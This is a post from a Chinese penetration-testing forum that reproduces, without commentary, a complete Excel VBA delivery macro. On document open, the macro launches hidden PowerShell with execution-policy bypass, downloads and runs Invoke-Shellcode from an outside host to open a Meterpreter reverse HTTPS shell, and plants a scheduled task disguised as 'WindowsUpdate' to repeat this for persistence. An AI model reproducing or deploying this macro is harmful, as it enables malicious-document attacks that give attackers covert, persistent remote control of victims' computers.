中国网络渗透测试联盟

标题: Powershell-Payload-Excel-DeliveryMacroCode [打印本页]
作者: admin    时间: 2017-4-1 10:43
标题: Powershell-Payload-Excel-DeliveryMacroCode
  1. ' Author: Matt Nelson
  2. ' Twitter: @enigma0x3

  4. Sub Auto_Open()

  6. Execute
  7. Persist

  9. End Sub


  12.      Public Function Execute() As Variant
  13.         Const HIDDEN_WINDOW = 0
  14.         strComputer = "."
  15.         Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
  16.          
  17.         Set objStartup = objWMIService.Get("Win32_ProcessStartup")
  18.         Set objConfig = objStartup.SpawnInstance_
  19.         objConfig.ShowWindow = HIDDEN_WINDOW
  20.         Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
  21.         objProcess.Create "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('http://192.168.1.127/Invoke-Shellcode')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.127 -Lport 1111 -Force", Null, objConfig, intProcessID
  22.      End Function

  24.       
  25.      Public Function Persist() As Variant
  26.         Const HIDDEN_WINDOW = 0
  27.         strComputer = "."
  28.         Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
  29.         
  30.         Set objStartup = objWMIService.Get("Win32_ProcessStartup")
  31.         Set objConfig = objStartup.SpawnInstance_
  32.         objConfig.ShowWindow = HIDDEN_WINDOW
  33.         Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
  34.         objProcess.Create "Powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -noprofile -noexit -c Invoke-Command -ScriptBlock { schtasks /create  /TN WindowsUpdate /TR 'powershell.exe -ep Bypass -WindowStyle Hidden -nop -noexit -c ''IEX ((New-Object Net.WebClient).DownloadString(''''http://192.168.1.127/Invoke-Shellcode''''''))''; Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.127 -Lport 1111 -Force' /SC onidle /i 20}", Null, objConfig, intProcessID
  35.      End Function
  36.      
复制代码




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2